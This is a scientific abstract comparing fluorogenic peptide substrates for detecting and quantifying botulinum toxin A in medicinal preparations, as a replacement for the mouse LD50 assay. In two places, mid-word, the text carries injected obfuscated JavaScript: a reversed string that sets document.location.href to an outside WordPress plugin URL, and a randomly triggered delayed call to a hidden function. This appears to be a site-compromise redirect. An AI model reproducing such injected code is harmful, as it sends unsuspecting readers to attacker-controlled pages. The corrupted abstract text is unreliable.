Comparison of Fluorigenic Peptide Substrates PL50, SNAPtide, and BoTestA/E for BoNT/A Detection and Quantification: Exosite Binding Confers High-Assay Sensitivity

Detection and quantification of low toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doses of botulinum toxin serotype A (BoNT/A) in medicinal preparations require precise and sensitive methods. With mounting pressure from governmental authorities to replace the mouse LD50 assay, interest in alternative methods such as the entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopeptidase assay, quantifying the toxin active moiety, is growing. Using internal collision-induced fluorescence quenching, Pharmaleads produced peptides encompassing the SNAP-25 cleavage site: a 17-mer (PL63) and a 48-mer (PL50) reaching the previously identified α-exosite, with PL50 showing higher apparent affinity for BoNT/A. […]

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